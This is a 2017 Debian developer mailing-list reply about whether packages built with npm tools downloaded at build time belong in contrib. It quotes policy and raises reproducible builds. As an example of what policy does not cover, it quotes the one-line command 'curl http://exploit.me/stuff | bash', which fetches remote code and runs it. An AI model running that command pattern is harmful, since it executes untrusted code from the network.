Pirate Praveen dijo [Tue, Oct 03, 2017 at 12:12:54PM +0530]:
> > I am completely with Sean here; I read the following messages, and am
> > happy a better resolution was found. But, FWIW, I'll support Sean's
> > interpretation - Contrib and non-free are *not* places where we can
> > happily breach any bits of policy; they are exclusively for things
> > that cannot be shipped in Debian Main due to their DFSG status.
>
> I cannot accept arbitrary interpretations of policy. When build tools
> are not available in main, they cannot go to main, and if the software
> itself is Free Software, it can go to contrib. If you disagree, please
> get the policy clarified. As per the current policy, these packages
> clearly qualified for contrib and these were already accepted by ftp
> masters into the archive. You could go to CTTE and challenge the
> decision of ftp masters.
Let me quote the Debian Social Contract:
Works that do not meet our free software standards
We acknowledge that some of our users require the use of works that do
not conform to the Debian Free Software Guidelines. We have created
"contrib" and "non-free" areas in our archive for these
works. (...)
So, contrib is _explicitly_ meant for software that does not meet the
DFSG, not for random stuff that cannot be packaged for convenience or
different issues.
According to Policy, section 2:
Packages in the other archive areas (contrib, non-free) are not
considered to be part of the Debian distribution, although we
support their use and provide infrastructure for them (such as our
bug-tracking system and mailing lists). This Debian Policy Manual
applies to these packages as well.
Policy says that all packages in contrib and non-free should be policy
compliant. Further, in 2.2.2:
The contrib archive area contains supplemental packages intended
to work with the Debian distribution, but which require software
outside of the distribution to either build or function.
Every package in contrib must comply with the DFSG.
In addition, the packages in contrib
• must not be so buggy that we refuse to support them, and
• must meet all policy requirements presented in this manual.
For this section, yes, I will be making interpretation - But I hold
that we would be hard-pressed to provide support for something built
with a compiler downloaded at build time. Maybe, as Simon suggests, if
your debian/ includes hashes for the compiler version being
used (and everything it pulls in via npm)... But in that case, it's
probably better to include the tar.gz as part of your debian/
I *do* take note, however, of:
Examples of packages which would be included in contrib are:
• free packages which require contrib, non-free packages or packages
which are not in our archive at all for compilation or execution,
and
• wrapper packages or other sorts of free accessories for
non-free programs.
The first point would seem to cover your use case. However, it's not
necessarily covering (...) compilation or execution via code just
downloaded. It does not cover the equivalent of
"curl http://exploit.me/stuff | bash"
> Alternatively, those who care enough about the issue can help get these
> tools into main. I have been doing just that over the last years (grunt,
> gulp, babel, jison, webpack to name a few, each with 100s of
> dependencies) so many of the packages currently in main could go there.
> Since the tools are just so many and the people packaging them are
> handful, it will take quite a while for all these tools to be in main
> and I'm going to continue using contrib for these packages until that time.
>
> You can also check the record of people who are most vocal over the
> issue (not just in this thread, but in earlier discussions about
> handlebars/dfsg/browserify) and compare who is helping fix the issue and
> who is just talking.
In this case, I'm clearly in the group of those who are somewhat
vocal, and are not helping your efforts. Well, I did quite a bit of
effort in a related matter with the work I put into packaging Drupal8,
which I dropped in the end¹ precisely due to it not being cleanly
packagable for Debian.
¹ http://gwolf.org/node/4087
> > And, yes, network access during a build... Is a clear no-go. Specially
> > if as a project we are committed to this so neat Reproducible Builds
> > thingy that has made so many among us proud to be part a project where
> > an ages-long problem is finally being tackled - And quite
> > successfully, even!
>
> I thought building these things (making sure the source corresponds to
> the distributed binaries), though using tools outside archive, was
> preferred over shipping pre-built binaries. But it seems shipping
> pre-built binaries are preferred. It looks to me like a misplaced
> compromise, but I will follow this advice and ship pre-built binaries
> next time without building them using npm.
I would strongly prefer to ship pre-built binaries as part of your
environment in debian/.
I guess the ftp-masters approved the packages you mention as they
*looked* sane, but not because of a deeper inspection of how they were
built. I see² you have 17 packages in contrib, out of which 14 are
node-*. Do they all use npm? Would you appreciate if I took a look at
them and filed bugs accordingly to ask for ftp-masters' opinion?
² https://qa.debian.org/developer.php?login=praveen@onenetbeyond.org
Attachment:
signature.asc
Description: PGP signature